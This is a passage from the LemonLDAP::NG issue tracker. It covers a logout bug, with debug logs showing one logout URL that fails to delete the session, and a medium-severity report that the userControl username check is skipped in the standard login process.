[debug] Processing deleteSession
[debug] Returned error: 47
[debug] Calling autoredirect
[debug] Skin returned: login
[debug] Calling sendHtml with template login
```
And here with http://auth.example.com/?logout=1:
```
[debug] Get session 10380b49602162d0727a53e74796d00e50ea71c2b051b369ea09b743042ef7fd from Handler::Main::Run
[debug] Check session validity from Handler
[debug] Session timeout -> 72000
[debug] Session _utime -> 1553156138
[debug] now -> 1553156173
[debug] Session timeoutActivityInterval -> 60
[debug] Session TTL = 71965
[debug] auth.example.com: Apply default rule
[debug] removing cookie
[debug] Cookies -> llnglanguage=fr; lemonldap=10380b49602162d0727a53e74796d00e50ea71c2b051b369ea09b743042ef7fd
[debug] CookieName -> lemonldap
[debug] newCookies -> llnglanguage=fr;
[debug] User dwho was granted to access to /?logout=1
[debug] Start routing default route
[debug] Processing importHandlerData
[debug] Processing controlUrl
[debug] Processing checkLogout
[debug] Processing authLogout
[debug] Cleaning pdata
[debug] Processing deleteSession
[debug] Try to get SSO session 10380b49602162d0727a53e74796d00e50ea71c2b051b369ea09b743042ef7fd
[debug] Get session 10380b49602162d0727a53e74796d00e50ea71c2b051b369ea09b743042ef7fd from Portal::Main::Run
[debug] Return SSO session 10380b49602162d0727a53e74796d00e50ea71c2b051b369ea09b743042ef7fd
[debug] Local handler logout
[notice] User dwho has been disconnected
[debug] Session 10380b49602162d0727a53e74796d00e50ea71c2b051b369ea09b743042ef7fd deleted from global storage
[debug] Returned error: 47
[debug] Calling autoredirect
[debug] Skin returned: login
[debug] Calling sendHtml with template login
```
In the first case the session is not deleted.2.0.3Christophe Maudouxchrmdx@gmail.comChristophe Maudouxchrmdx@gmail.comhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/1667[Security:medium] Option userControl is not applied anymore in standard login...2019-04-10T21:21:04ZClément OUDOT[Security:medium] Option userControl is not applied anymore in standard login processLooking at the code, the userControl parameter is only applied in password reset and register:
```
clement@ader-worteks:~/dev/lemonldap-ng$ grep -r userControl lemonldap-ng-portal/
lemonldap-ng-portal/lib/Lemonldap/NG/Portal/Plugins/Mail...Looking at the code, the userControl parameter is only applied in password reset and register:
```
clement@ader-worteks:~/dev/lemonldap-ng$ grep -r userControl lemonldap-ng-portal/
lemonldap-ng-portal/lib/Lemonldap/NG/Portal/Plugins/MailPasswordReset.pm: unless ( $req->{user} =~ /$self->{conf}->{userControl}/o ) {
lemonldap-ng-portal/lib/Lemonldap/NG/Portal/Plugins/Register.pm: m/$self->{conf}->{userControl}/o );
```
It should also be applied in standard login process.2.0.3Christophe Maudouxchrmdx@gmail.comChristophe Maudouxchrmdx@gmail.com